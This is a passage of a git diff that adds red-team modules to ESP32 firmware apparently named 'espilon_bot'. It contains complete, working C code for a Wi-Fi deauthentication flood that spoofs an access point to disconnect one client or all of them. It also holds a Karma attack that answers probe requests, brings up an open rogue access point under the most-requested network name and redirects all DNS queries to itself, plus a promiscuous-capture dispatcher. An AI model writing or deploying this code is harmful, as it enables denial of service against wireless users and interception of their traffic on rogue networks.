bytes) + * ============================================================ + * + * Frame Control: 0x00C0 (type=0 mgmt, subtype=0xC deauth) + * Duration: 0x0000 + * Addr1: Destination (client or FF:FF:FF:FF:FF:FF) + * Addr2: Source (BSSID — we impersonate the AP) + * Addr3: BSSID + * Seq Control: 0x0000 (auto-filled by driver if en_sys_seq=true) + * Reason Code: 0x0007 (Class 3 frame from nonassociated STA) + */ +typedef struct __attribute__((packed)) { + uint16_t frame_ctrl; + uint16_t duration; + uint8_t addr1[6]; /* receiver */ + uint8_t addr2[6]; /* transmitter (spoofed AP) */ + uint8_t addr3[6]; /* BSSID */ + uint16_t seq_ctrl; + uint16_t reason; +} deauth_frame_t; + +_Static_assert(sizeof(deauth_frame_t) == 26, "deauth frame must be 26 bytes"); + +static const uint8_t BROADCAST_MAC[6] = {0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF}; + +/* Task state */ +static TaskHandle_t s_task = NULL; +static atomic_bool s_active = ATOMIC_VAR_INIT(false); + +/* Parameters passed to the task */ +typedef struct { + uint8_t bssid[6]; + uint8_t client[6]; + bool broadcast; + uint8_t channel; + uint32_t count; + uint32_t delay_ms; +} deauth_params_t; + +static deauth_params_t s_params; + +/* ============================================================ + * Deauth task — runs on Core 1 + * ============================================================ */ +static void deauth_task(void *arg) +{ + deauth_params_t *p = (deauth_params_t *)arg; + + /* Switch to target channel via the shared dispatcher */ + if (p->channel > 0 && p->channel <= 13) { + rt_promisc_enable(); + rt_promisc_set_channel(p->channel); + } + + /* Build the deauth frame */ + deauth_frame_t frame; + memset(&frame, 0, sizeof(frame)); + frame.frame_ctrl = 0x00C0; /* deauth */ + frame.reason = 0x0007; /* Class 3 frame from nonassociated STA */ + + /* Addr2/Addr3 = BSSID (we pretend to be the AP) */ + memcpy(frame.addr2, p->bssid, 6); + memcpy(frame.addr3, p->bssid, 6); + + /* Addr1 = target client or broadcast */ + if (p->broadcast) { + memcpy(frame.addr1, BROADCAST_MAC, 6); + } else { + memcpy(frame.addr1, p->client, 6); + } + + uint32_t delay = p->delay_ms ? p->delay_ms : 10; + uint32_t sent = 0; + bool continuous = (p->count == 0); + + ESP_LOGI(TAG, "Deauth started: bssid=%02X:%02X:%02X:%02X:%02X:%02X " + "target=%s ch=%d count=%s delay=%"PRIu32"ms", + p->bssid[0], p->bssid[1], p->bssid[2], + p->bssid[3], p->bssid[4], p->bssid[5], + p->broadcast ? "broadcast" : "targeted", + p->channel, + continuous ? "infinite" : "finite", + delay); + + while (atomic_load(&s_active)) { + /* Send deauth from AP to client */ + esp_wifi_80211_tx(WIFI_IF_STA, &frame, sizeof(frame), false); + + /* Also send deauth from client to AP (bidirectional) */ + if (!p->broadcast) { + deauth_frame_t rev; + memcpy(&rev, &frame, sizeof(rev)); + memcpy(rev.addr1, p->bssid, 6); /* receiver = AP */ + memcpy(rev.addr2, p->client, 6); /* transmitter = client */ + /* addr3 stays = BSSID */ + esp_wifi_80211_tx(WIFI_IF_STA, &rev, sizeof(rev), false); + } + + sent++; + + if (!continuous && sent >= p->count) { + break; + } + + vTaskDelay(pdMS_TO_TICKS(delay)); + } + + ESP_LOGI(TAG, "Deauth stopped: %"PRIu32" frames sent", sent * (p->broadcast ? 1 : 2)); + + rt_promisc_disable(); + rt_attack_stop(); + atomic_store(&s_active, false); + s_task = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API + * ============================================================ */ + +void rt_deauth_start(const uint8_t bssid[6], + const uint8_t *client, + uint8_t channel, + uint32_t count, + uint32_t delay_ms) +{ + if (atomic_load(&s_active)) { + rt_deauth_stop(); + vTaskDelay(pdMS_TO_TICKS(100)); + } + + /* Acquire the attack lock */ + if (rt_attack_start(RT_ATTACK_DEAUTH) != ESP_OK) { + ESP_LOGW(TAG, "Cannot start deauth: another attack is running (%s)", + rt_attack_name()); + return; + } + + memcpy(s_params.bssid, bssid, 6); + + if (client == NULL || memcmp(client, BROADCAST_MAC, 6) == 0) { + memcpy(s_params.client, BROADCAST_MAC, 6); + s_params.broadcast = true; + } else { + memcpy(s_params.client, client, 6); + s_params.broadcast = false; + } + + s_params.channel = channel; + s_params.count = count; + s_params.delay_ms = delay_ms; + + atomic_store(&s_active, true); + + xTaskCreatePinnedToCore( + deauth_task, + "rt_deauth", + 4096, + &s_params, + 6, + &s_task, + 1 /* Core 1 */ + ); +} + +void rt_deauth_stop(void) +{ + atomic_store(&s_active, false); + /* Task will self-delete and release the attack lock */ +} + +bool rt_deauth_is_active(void) +{ + return atomic_load(&s_active); +} + +#endif /* CONFIG_MODULE_REDTEAM */ diff --git a/espilon_bot/components/mod_redteam/rt_deauth.h b/espilon_bot/components/mod_redteam/rt_deauth.h new file mode 100644 index 0000000..6adbe1e --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_deauth.h @@ -0,0 +1,36 @@ +/* + * rt_deauth.h + * 802.11 deauthentication frame injection. + */ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +/* + * Start sending deauth frames. + * bssid – target AP BSSID (6 bytes) + * client – target client MAC, or NULL/broadcast for all clients + * channel – WiFi channel (1-13), 0 = auto-detect from scan + * count – number of frames to send, 0 = continuous until stop + * delay_ms – delay between bursts (default 10) + */ +void rt_deauth_start(const uint8_t bssid[6], + const uint8_t *client, + uint8_t channel, + uint32_t count, + uint32_t delay_ms); + +/* Stop the deauth task. */ +void rt_deauth_stop(void); + +/* True if deauth task is running. */ +bool rt_deauth_is_active(void); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_redteam/rt_karma.c b/espilon_bot/components/mod_redteam/rt_karma.c new file mode 100644 index 0000000..6b0f9cc --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_karma.c @@ -0,0 +1,598 @@ +/* + * rt_karma.c + * Karma attack — listens for WiFi probe requests in promiscuous mode, + * responds with probe responses matching the requested SSID, then + * starts a rogue SoftAP with the most-requested SSID. + * + * Self-contained: does NOT depend on mod_fakeAP. Uses its own + * minimal SoftAP + DNS responder. + */ +#include "sdkconfig.h" + +#if defined(CONFIG_MODULE_REDTEAM) && defined(CONFIG_RT_KARMA) + +#include +#include + +#include "freertos/FreeRTOS.h" +#include "freertos/task.h" +#include "esp_wifi.h" +#include "esp_log.h" +#include "esp_random.h" +#include "esp_timer.h" +#include "esp_netif.h" +#include "lwip/sockets.h" +#include "lwip/dns.h" +#include "esp_event.h" + +#include "rt_karma.h" +#include "rt_promisc.h" +#include "rt_attack.h" + +#define TAG "RT_KARMA" + +/* ============================================================ + * IEEE 802.11 frame helpers + * ============================================================ */ + +/* Management frame header (24 bytes) */ +typedef struct __attribute__((packed)) { + uint16_t frame_ctrl; + uint16_t duration; + uint8_t addr1[6]; /* destination */ + uint8_t addr2[6]; /* source (our BSSID) */ + uint8_t addr3[6]; /* BSSID */ + uint16_t seq_ctrl; +} mgmt_hdr_t; + +_Static_assert(sizeof(mgmt_hdr_t) == 24, "mgmt header must be 24 bytes"); + +/* Probe Response fixed fields (12 bytes) */ +typedef struct __attribute__((packed)) { + uint64_t timestamp; + uint16_t beacon_interval; /* 0x0064 = 100 TU */ + uint16_t capability; /* 0x0421 = ESS + short preamble + short slot */ +} probe_resp_fixed_t; + +_Static_assert(sizeof(probe_resp_fixed_t) == 12, "probe resp fixed fields must be 12 bytes"); + +/* ============================================================ + * State + * ============================================================ */ + +static atomic_bool s_active = ATOMIC_VAR_INIT(false); +static TaskHandle_t s_task = NULL; +static TaskHandle_t s_dns_task = NULL; + +/* Our fake BSSID (generated at start) */ +static uint8_t s_bssid[6]; + +/* Client tracking — circular buffer */ +static rt_karma_client_t s_clients[RT_KARMA_MAX_CLIENTS]; +static int s_client_count = 0; + +/* Most popular SSID for SoftAP */ +static char s_top_ssid[33] = {0}; + +/* SoftAP netif handle */ +static esp_netif_t *s_ap_netif = NULL; + +/* ============================================================ + * Client tracking + * ============================================================ */ + +static int find_client(const uint8_t mac[6]) +{ + for (int i = 0; i < s_client_count; i++) { + if (memcmp(s_clients[i].mac, mac, 6) == 0) + return i; + } + return -1; +} + +static void track_client(const uint8_t mac[6], const char *ssid) +{ + int64_t now = esp_timer_get_time() / 1000; + int idx = find_client(mac); + + if (idx >= 0) { + /* Update existing */ + s_clients[idx].last_seen_ms = now; + if (ssid[0] && strcmp(s_clients[idx].ssid, ssid) != 0) { + strncpy(s_clients[idx].ssid, ssid, 32); + s_clients[idx].ssid[32] = '\0'; + } + return; + } + + /* Add new — circular overwrite if full */ + idx = s_client_count; + if (idx >= RT_KARMA_MAX_CLIENTS) { + idx = 0; /* overwrite oldest */ + /* Shift is expensive; just overwrite slot 0 for simplicity */ + } else { + s_client_count++; + } + + memcpy(s_clients[idx].mac, mac, 6); + strncpy(s_clients[idx].ssid, ssid, 32); + s_clients[idx].ssid[32] = '\0'; + s_clients[idx].first_seen_ms = now; + s_clients[idx].last_seen_ms = now; + s_clients[idx].connected = false; + + ESP_LOGI(TAG, "New probe from %02X:%02X:%02X:%02X:%02X:%02X for '%s'", + mac[0], mac[1], mac[2], mac[3], mac[4], mac[5], ssid); +} + +/* ============================================================ + * Build and send probe response + * ============================================================ */ + +static void send_probe_response(const uint8_t dst[6], const char *ssid, uint8_t channel) +{ + size_t ssid_len = strlen(ssid); + if (ssid_len > 32) ssid_len = 32; + + /* Supported rates IE (mandatory) */ + static const uint8_t rates[] = { 0x82, 0x84, 0x8B, 0x96, + 0x0C, 0x12, 0x18, 0x24 }; + /* Frame layout: + * mgmt_hdr(24) + fixed(12) + SSID IE(2+len) + rates IE(2+8) + DS IE(2+1) */ + size_t frame_len = sizeof(mgmt_hdr_t) + sizeof(probe_resp_fixed_t) + + 2 + ssid_len + 2 + sizeof(rates) + 2 + 1; + + uint8_t frame[128]; /* max needed ~80 bytes */ + if (frame_len > sizeof(frame)) return; + memset(frame, 0, sizeof(frame)); + + /* Header: probe response = type 0, subtype 5 → frame_ctrl = 0x0050 */ + mgmt_hdr_t *hdr = (mgmt_hdr_t *)frame; + hdr->frame_ctrl = 0x0050; + memcpy(hdr->addr1, dst, 6); + memcpy(hdr->addr2, s_bssid, 6); + memcpy(hdr->addr3, s_bssid, 6); + + /* Fixed fields */ + probe_resp_fixed_t *fixed = (probe_resp_fixed_t *)(frame + sizeof(mgmt_hdr_t)); + fixed->timestamp = 0; /* driver fills this */ + fixed->beacon_interval = 0x0064; /* 100 TU */ + fixed->capability = 0x0421; /* ESS + short preamble + short slot */ + + /* Tagged parameters */ + uint8_t *ie = frame + sizeof(mgmt_hdr_t) + sizeof(probe_resp_fixed_t); + + /* SSID IE (tag 0) */ + *ie++ = 0x00; + *ie++ = (uint8_t)ssid_len; + memcpy(ie, ssid, ssid_len); + ie += ssid_len; + + /* Supported rates IE (tag 1) */ + *ie++ = 0x01; + *ie++ = sizeof(rates); + memcpy(ie, rates, sizeof(rates)); + ie += sizeof(rates); + + /* DS Parameter Set IE (tag 3) — current channel */ + *ie++ = 0x03; + *ie++ = 0x01; + *ie++ = channel; + + esp_wifi_80211_tx(WIFI_IF_STA, frame, frame_len, false); +} + +/* ============================================================ + * Promiscuous callback — capture probe requests + * ============================================================ */ + +static void IRAM_ATTR karma_promisc_cb(void *buf, wifi_promiscuous_pkt_type_t type) +{ + if (type != WIFI_PKT_MGMT) return; + + wifi_promiscuous_pkt_t *pkt = (wifi_promiscuous_pkt_t *)buf; + const uint8_t *payload = pkt->payload; + + /* Frame control */ + uint16_t fc = payload[0] | (payload[1] << 8); + uint8_t subtype = (fc >> 4) & 0x0F; + + /* Probe request = type 0 (mgmt), subtype 4 */ + if (subtype != 4) return; + + /* Extract source MAC (addr2, offset 10) */ + const uint8_t *src_mac = payload + 10; + + /* Skip our own BSSID */ + if (memcmp(src_mac, s_bssid, 6) == 0) return; + + /* Parse SSID IE from body (offset 24 for mgmt frames) */ + size_t body_start = 24; + size_t pkt_len = pkt->rx_ctrl.sig_len; + if (pkt_len > 4) pkt_len -= 4; /* strip FCS */ + if (pkt_len <= body_start + 2) return; + + const uint8_t *body = payload + body_start; + size_t body_len = pkt_len - body_start; + + /* First IE should be SSID (tag 0) */ + if (body[0] != 0x00) return; + uint8_t ssid_len = body[1]; + if (ssid_len == 0 || ssid_len > 32) return; /* skip broadcast probes */ + if (2 + ssid_len > body_len) return; + + char ssid[33]; + memcpy(ssid, body + 2, ssid_len); + ssid[ssid_len] = '\0'; + + /* Track this client */ + track_client(src_mac, ssid); + + /* Respond with a probe response matching their SSID */ + send_probe_response(src_mac, ssid, pkt->rx_ctrl.channel); +} + +/* Handler for the promiscuous dispatcher */ +static const rt_promisc_handler_t s_karma_handler = { + .cb = karma_promisc_cb, + .filter_mask = WIFI_PROMIS_FILTER_MASK_MGMT, + .tag = "karma", +}; + +/* ============================================================ + * Mini DNS responder — responds our AP IP for all queries + * ============================================================ */ + +static void dns_responder_task(void *arg) +{ + (void)arg; + + int sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); + if (sock < 0) { + ESP_LOGE(TAG, "DNS socket failed"); + vTaskDelete(NULL); + return; + } + + struct sockaddr_in addr = { + .sin_family = AF_INET, + .sin_port = htons(53), + .sin_addr.s_addr = INADDR_ANY, + }; + + int opt = 1; + setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, &opt, sizeof(opt)); + + if (bind(sock, (struct sockaddr *)&addr, sizeof(addr)) < 0) { + ESP_LOGE(TAG, "DNS bind failed"); + close(sock); + vTaskDelete(NULL); + return; + } + + /* Our AP IP = 192.168.4.1 */ + uint8_t ap_ip[4] = {192, 168, 4, 1}; + + uint8_t buf[512]; + struct sockaddr_in client_addr; + socklen_t client_len; + + while (atomic_load(&s_active)) { + client_len = sizeof(client_addr); + int n = recvfrom(sock, buf, sizeof(buf), 0, + (struct sockaddr *)&client_addr, &client_len); + if (n < 12) continue; /* too short for DNS header */ + + /* Build a minimal DNS response: + * - Copy transaction ID + * - Set flags: response + recursion available + * - Copy the question section + * - Append a single A record answer + */ + uint8_t resp[512]; + int resp_len = 0; + + /* Transaction ID (2 bytes) */ + resp[0] = buf[0]; + resp[1] = buf[1]; + + /* Flags: standard response, no error */ + resp[2] = 0x81; /* QR=1, RD=1 */ + resp[3] = 0x80; /* RA=1 */ + + /* Questions: 1, Answers: 1, Authority: 0, Additional: 0 */ + resp[4] = 0x00; resp[5] = 0x01; /* QDCOUNT */ + resp[6] = 0x00; resp[7] = 0x01; /* ANCOUNT */ + resp[8] = 0x00; resp[9] = 0x00; /* NSCOUNT */ + resp[10] = 0x00; resp[11] = 0x00; /* ARCOUNT */ + + resp_len = 12; + + /* Copy the question section from the request */ + int q_start = 12; + int q_pos = q_start; + /* Walk past the QNAME (labels terminated by 0x00) */ + while (q_pos < n && buf[q_pos] != 0x00) { + q_pos += 1 + buf[q_pos]; /* skip label */ + } + q_pos++; /* skip the 0x00 terminator */ + q_pos += 4; /* skip QTYPE(2) + QCLASS(2) */ + + int q_len = q_pos - q_start; + if (resp_len + q_len > (int)sizeof(resp) - 16) { + continue; /* too long */ + } + memcpy(resp + resp_len, buf + q_start, q_len); + resp_len += q_len; + + /* Answer: pointer to QNAME + A record */ + resp[resp_len++] = 0xC0; /* name pointer */ + resp[resp_len++] = 0x0C; /* offset 12 = start of question */ + resp[resp_len++] = 0x00; resp[resp_len++] = 0x01; /* TYPE A */ + resp[resp_len++] = 0x00; resp[resp_len++] = 0x01; /* CLASS IN */ + resp[resp_len++] = 0x00; resp[resp_len++] = 0x00; + resp[resp_len++] = 0x00; resp[resp_len++] = 0x3C; /* TTL = 60s */ + resp[resp_len++] = 0x00; resp[resp_len++] = 0x04; /* RDLENGTH = 4 */ + memcpy(resp + resp_len, ap_ip, 4); + resp_len += 4; + + sendto(sock, resp, resp_len, 0, + (struct sockaddr *)&client_addr, client_len); + } + + close(sock); + s_dns_task = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Find the most-requested SSID + * ============================================================ */ + +static void find_top_ssid(void) +{ + /* Simple frequency count on client SSIDs */ + typedef struct { char ssid[33]; int count; } freq_t; + freq_t freq[RT_KARMA_MAX_CLIENTS]; + int freq_count = 0; + + for (int i = 0; i < s_client_count; i++) { + if (s_clients[i].ssid[0] == '\0') continue; + bool found = false; + for (int j = 0; j < freq_count; j++) { + if (strcmp(freq[j].ssid, s_clients[i].ssid) == 0) { + freq[j].count++; + found = true; + break; + } + } + if (!found && freq_count < RT_KARMA_MAX_CLIENTS) { + strncpy(freq[freq_count].ssid, s_clients[i].ssid, 32); + freq[freq_count].ssid[32] = '\0'; + freq[freq_count].count = 1; + freq_count++; + } + } + + /* Find max */ + int max_count = 0; + for (int i = 0; i < freq_count; i++) { + if (freq[i].count > max_count) { + max_count = freq[i].count; + strncpy(s_top_ssid, freq[i].ssid, 32); + s_top_ssid[32] = '\0'; + } + } +} + +/* ============================================================ + * Start SoftAP with the top SSID + * ============================================================ */ + +static esp_err_t start_rogue_ap(const char *ssid) +{ + /* Switch to AP+STA mode */ + esp_err_t ret = esp_wifi_set_mode(WIFI_MODE_APSTA); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Failed to set APSTA mode: %s", esp_err_to_name(ret)); + return ret; + } + + /* Create AP netif if needed */ + if (!s_ap_netif) { + s_ap_netif = esp_netif_create_default_wifi_ap(); + } + + wifi_config_t ap_cfg = { + .ap = { + .channel = 1, + .max_connection = 4, + .authmode = WIFI_AUTH_OPEN, + }, + }; + strncpy((char *)ap_cfg.ap.ssid, ssid, sizeof(ap_cfg.ap.ssid) - 1); + ap_cfg.ap.ssid_len = strlen(ssid); + + ret = esp_wifi_set_config(WIFI_IF_AP, &ap_cfg); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "AP config failed: %s", esp_err_to_name(ret)); + return ret; + } + + ESP_LOGI(TAG, "Rogue AP started: SSID='%s'", ssid); + return ESP_OK; +} + +static void stop_rogue_ap(void) +{ + esp_wifi_set_mode(WIFI_MODE_STA); + ESP_LOGI(TAG, "Rogue AP stopped"); +} + +/* ============================================================ + * Main karma task + * ============================================================ */ + +static void karma_task(void *arg) +{ + uint32_t duration_s = (uint32_t)(uintptr_t)arg; + + /* Generate a random locally-administered BSSID */ + esp_fill_random(s_bssid, 6); + s_bssid[0] &= 0xFE; /* unicast */ + s_bssid[0] |= 0x02; /* locally administered */ + + /* Reset client list */ + s_client_count = 0; + memset(s_clients, 0, sizeof(s_clients)); + s_top_ssid[0] = '\0'; + + /* Register with promiscuous dispatcher */ + esp_err_t ret = rt_promisc_register(&s_karma_handler); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "Promisc register failed"); + rt_attack_stop(); + atomic_store(&s_active, false); + s_task = NULL; + vTaskDelete(NULL); + return; + } + + rt_promisc_enable(); + + ESP_LOGI(TAG, "Karma listening (BSSID=%02X:%02X:%02X:%02X:%02X:%02X, duration=%s)", + s_bssid[0], s_bssid[1], s_bssid[2], + s_bssid[3], s_bssid[4], s_bssid[5], + duration_s ? "timed" : "continuous"); + + /* Phase 1: Listen for probes (5s or until we have clients) */ + int listen_ms = 5000; + int elapsed = 0; + while (atomic_load(&s_active) && elapsed < listen_ms) { + vTaskDelay(pdMS_TO_TICKS(500)); + elapsed += 500; + } + + if (!atomic_load(&s_active)) goto cleanup; + + /* Phase 2: Start rogue AP with the most-requested SSID */ + if (s_client_count > 0) { + find_top_ssid(); + if (s_top_ssid[0]) { + start_rogue_ap(s_top_ssid); + + /* Start DNS responder */ + xTaskCreatePinnedToCore(dns_responder_task, "karma_dns", + 3072, NULL, 5, &s_dns_task, 1); + } + } else { + ESP_LOGI(TAG, "No probes captured, continuing to listen..."); + } + + /* Phase 3: Keep running — continue responding to probes */ + if (duration_s > 0) { + uint32_t remaining_ms = (duration_s * 1000) - elapsed; + uint32_t waited = 0; + while (atomic_load(&s_active) && waited < remaining_ms) { + vTaskDelay(pdMS_TO_TICKS(1000)); + waited += 1000; + + /* Periodically update the AP SSID if a new top SSID emerges */ + if (waited % 10000 == 0 && s_client_count > 0) { + char old[33]; + strncpy(old, s_top_ssid, 32); + old[32] = '\0'; + find_top_ssid(); + if (s_top_ssid[0] && strcmp(old, s_top_ssid) != 0) { + start_rogue_ap(s_top_ssid); + } + } + } + } else { + /* Continuous mode */ + while (atomic_load(&s_active)) { + vTaskDelay(pdMS_TO_TICKS(1000)); + + /* Update AP SSID every 10s if needed */ + static uint32_t ticker = 0; + ticker++; + if (ticker % 10 == 0 && s_client_count > 0) { + char old[33]; + strncpy(old, s_top_ssid, 32); + old[32] = '\0'; + find_top_ssid(); + if (s_top_ssid[0] && strcmp(old, s_top_ssid) != 0) { + start_rogue_ap(s_top_ssid); + } + } + } + } + +cleanup: + /* Stop DNS responder */ + if (s_dns_task) { + /* dns task checks s_active and will exit */ + vTaskDelay(pdMS_TO_TICKS(200)); + } + + rt_promisc_unregister(&s_karma_handler); + rt_promisc_disable(); + stop_rogue_ap(); + rt_attack_stop(); + + ESP_LOGI(TAG, "Karma stopped: %d clients tracked", s_client_count); + + atomic_store(&s_active, false); + s_task = NULL; + vTaskDelete(NULL); +} + +/* ============================================================ + * Public API + * ============================================================ */ + +void rt_karma_start(uint32_t duration_s) +{ + if (atomic_load(&s_active)) { + ESP_LOGW(TAG, "Karma already running"); + return; + } + + if (rt_attack_start(RT_ATTACK_KARMA) != ESP_OK) { + ESP_LOGW(TAG, "Cannot start: another attack running (%s)", + rt_attack_name()); + return; + } + + atomic_store(&s_active, true); + + xTaskCreatePinnedToCore( + karma_task, + "rt_karma", + 6144, + (void *)(uintptr_t)duration_s, + 6, + &s_task, + 1 /* Core 1 */ + ); +} + +void rt_karma_stop(void) +{ + atomic_store(&s_active, false); +} + +bool rt_karma_is_active(void) +{ + return atomic_load(&s_active); +} + +int rt_karma_get_clients(rt_karma_client_t *out, int max_count) +{ + int count = s_client_count; + if (count > max_count) count = max_count; + memcpy(out, s_clients, count * sizeof(rt_karma_client_t)); + return count; +} + +#endif /* CONFIG_MODULE_REDTEAM && CONFIG_RT_KARMA */ diff --git a/espilon_bot/components/mod_redteam/rt_karma.h b/espilon_bot/components/mod_redteam/rt_karma.h new file mode 100644 index 0000000..6cb0df9 --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_karma.h @@ -0,0 +1,43 @@ +/* + * rt_karma.h + * Karma attack — respond to WiFi probe requests with matching SSIDs + * to lure clients into connecting to our rogue AP. + */ +#pragma once + +#include +#include + +#ifdef __cplusplus +extern "C" { +#endif + +#define RT_KARMA_MAX_CLIENTS 32 + +/* Info about a client that sent a probe request */ +typedef struct { + uint8_t mac[6]; + char ssid[33]; /* SSID they were looking for */ + int64_t first_seen_ms; + int64_t last_seen_ms; + bool connected; /* true if they connected to our AP */ +} rt_karma_client_t; + +/* + * Start karma listener. + * duration_s – 0 = run until rt_karma_stop(), >0 = auto-stop after N seconds + */ +void rt_karma_start(uint32_t duration_s); + +/* Stop karma and tear down the rogue AP. */ +void rt_karma_stop(void); + +/* True if karma is running. */ +bool rt_karma_is_active(void); + +/* Get list of clients that sent probe requests. Returns count. */ +int rt_karma_get_clients(rt_karma_client_t *out, int max_count); + +#ifdef __cplusplus +} +#endif diff --git a/espilon_bot/components/mod_redteam/rt_promisc.c b/espilon_bot/components/mod_redteam/rt_promisc.c new file mode 100644 index 0000000..b5deb42 --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_promisc.c @@ -0,0 +1,201 @@ +/* + * rt_promisc.c + * Shared promiscuous mode dispatcher. + * + * Multiplexes up to RT_PROMISC_MAX_HANDLERS consumers behind a single + * IRAM callback registered with esp_wifi_set_promiscuous_rx_cb(). + */ +#include "sdkconfig.h" + +#ifdef CONFIG_MODULE_REDTEAM + +#include +#include + +#include "freertos/FreeRTOS.h" +#include "freertos/semphr.h" +#include "esp_wifi.h" +#include "esp_log.h" + +#include "rt_promisc.h" + +#define TAG "RT_PROMISC" + +/* ============================================================ + * Internal state + * ============================================================ */ + +static rt_promisc_handler_t s_handlers[RT_PROMISC_MAX_HANDLERS]; +static int s_handler_count = 0; +static SemaphoreHandle_t s_mutex = NULL; +static atomic_bool s_enabled = ATOMIC_VAR_INIT(false); +static bool s_inited = false; + +/* ============================================================ + * IRAM dispatcher — called from WiFi driver context + * ============================================================ */ + +static void IRAM_ATTR promisc_dispatcher(void *buf, wifi_promiscuous_pkt_type_t type) +{ + /* + * We iterate without taking the mutex because: + * - This runs in IRAM from the WiFi RX ISR context + * - s_handler_count is only modified while promiscuous is disabled + * - Handlers are only added/removed via register/unregister which + * require the caller to disable promiscuous first (or accept races + * on the count — benign: worst case a handler is skipped once). + */ + int n = s_handler_count; + for (int i = 0; i < n; i++) { + if (s_handlers[i].cb) { + s_handlers[i].cb(buf, type); + } + } +} + +/* ============================================================ + * Public API + * ============================================================ */ + +void rt_promisc_init(void) +{ + if (s_inited) return; + + s_mutex = xSemaphoreCreateMutex(); + configASSERT(s_mutex); + + memset(s_handlers, 0, sizeof(s_handlers)); + s_handler_count = 0; + s_inited = true; + + ESP_LOGI(TAG, "Promiscuous dispatcher initialised (max %d handlers)", + RT_PROMISC_MAX_HANDLERS); +} + +esp_err_t rt_promisc_register(const rt_promisc_handler_t *h) +{ + if (!h || !h->cb) return ESP_ERR_INVALID_ARG; + if (!s_inited) rt_promisc_init(); + + xSemaphoreTake(s_mutex, portMAX_DELAY); + + /* Check for duplicates */ + for (int i = 0; i < s_handler_count; i++) { + if (s_handlers[i].cb == h->cb) { + xSemaphoreGive(s_mutex); + ESP_LOGW(TAG, "Handler '%s' already registered", h->tag ? h->tag : "?"); + return ESP_OK; + } + } + + if (s_handler_count >= RT_PROMISC_MAX_HANDLERS) { + xSemaphoreGive(s_mutex); + ESP_LOGE(TAG, "Handler table full (%d/%d)", s_handler_count, + RT_PROMISC_MAX_HANDLERS); + return ESP_ERR_NO_MEM; + } + + s_handlers[s_handler_count] = *h; + s_handler_count++; + + ESP_LOGI(TAG, "Registered handler '%s' (filter=0x%04"PRIx32") [%d/%d]", + h->tag ? h->tag : "?", h->filter_mask, + s_handler_count, RT_PROMISC_MAX_HANDLERS); + + xSemaphoreGive(s_mutex); + return ESP_OK; +} + +esp_err_t rt_promisc_unregister(const rt_promisc_handler_t *h) +{ + if (!h || !h->cb) return ESP_ERR_INVALID_ARG; + if (!s_inited) return ESP_ERR_INVALID_STATE; + + xSemaphoreTake(s_mutex, portMAX_DELAY); + + for (int i = 0; i < s_handler_count; i++) { + if (s_handlers[i].cb == h->cb) { + /* Shift remaining entries down */ + for (int j = i; j < s_handler_count - 1; j++) { + s_handlers[j] = s_handlers[j + 1]; + } + s_handler_count--; + memset(&s_handlers[s_handler_count], 0, sizeof(rt_promisc_handler_t)); + + ESP_LOGI(TAG, "Unregistered handler '%s' [%d/%d]", + h->tag ? h->tag : "?", + s_handler_count, RT_PROMISC_MAX_HANDLERS); + + xSemaphoreGive(s_mutex); + return ESP_OK; + } + } + + xSemaphoreGive(s_mutex); + ESP_LOGW(TAG, "Handler '%s' not found", h->tag ? h->tag : "?"); + return ESP_ERR_NOT_FOUND; +} + +esp_err_t rt_promisc_enable(void) +{ + if (!s_inited) rt_promisc_init(); + + xSemaphoreTake(s_mutex, portMAX_DELAY); + + /* Combine filters from all registered handlers */ + uint32_t combined = 0; + for (int i = 0; i < s_handler_count; i++) { + combined |= s_handlers[i].filter_mask; + } + + /* If no handlers registered but caller still wants promisc (e.g. for TX), + * default to management frames */ + if (combined == 0) { + combined = WIFI_PROMIS_FILTER_MASK_MGMT; + } + + xSemaphoreGive(s_mutex); + + /* Set the single dispatcher callback */ + esp_err_t ret = esp_wifi_set_promiscuous_rx_cb(promisc_dispatcher); + if (ret != ESP_OK) { + ESP_LOGE(TAG, "set_promiscuous_rx_cb failed: %s", esp_err_to_name(ret)); + return ret; + } + + wifi_promiscuous_filter_t filter = { .filter_mask = combined }; + esp_wifi_set_promiscuous_filter(&filter); + + ret = esp_wifi_set_promiscuous(true); + if (ret == ESP_OK) { + atomic_store(&s_enabled, true); + ESP_LOGI(TAG, "Promiscuous enabled (filter=0x%04"PRIx32")", combined); + } else { + ESP_LOGE(TAG, "set_promiscuous(true) failed: %s", esp_err_to_name(ret)); + } + + return ret; +} + +esp_err_t rt_promisc_disable(void) +{ + esp_err_t ret = esp_wifi_set_promiscuous(false); + if (ret == ESP_OK) { + atomic_store(&s_enabled, false); + ESP_LOGI(TAG, "Promiscuous disabled"); + } + return ret; +} + +esp_err_t rt_promisc_set_channel(uint8_t channel) +{ + if (channel < 1 || channel > 14) return ESP_ERR_INVALID_ARG; + return esp_wifi_set_channel(channel, WIFI_SECOND_CHAN_NONE); +} + +bool rt_promisc_is_enabled(void) +{ + return atomic_load(&s_enabled); +} + +#endif /* CONFIG_MODULE_REDTEAM */ diff --git a/espilon_bot/components/mod_redteam/rt_promisc.h b/espilon_bot/components/mod_redteam/rt_promisc.h new file mode 100644 index 0000000..e2fcd10 --- /dev/null +++ b/espilon_bot/components/mod_redteam/rt_promisc.h @@ -0,0 +1,53 @@ +/* + * rt_promisc.h + * Shared promiscuous mode dispatcher. + * + * ESP32 supports only one promiscuous RX callback at a time. This module + * multiplexes multiple consumers (stealth scan, karma, capture, ...) behind + * a single IRAM callback and manages channel / enable state. + */ +#pragma once + +#include +#include +#include "esp_err.h" +#include "esp_wifi_types.h" + +#ifdef __cplusplus +extern "C" { +#endif + +#define RT_PROMISC_MAX_HANDLERS 4 + +typedef void (*rt_promisc_cb_t)(void *buf, wifi_promiscuous_pkt_type_t type); + +typedef struct { + rt_promisc_cb_t cb; /* callback (should be IRAM-safe) */ + uint32_t filter_mask; /* WIFI_PROMIS_FILTER_MASK_* */ + const char *tag; /* debug label */ +} rt_promisc_handler_t; + +/* Initialise the dispatcher (call once, 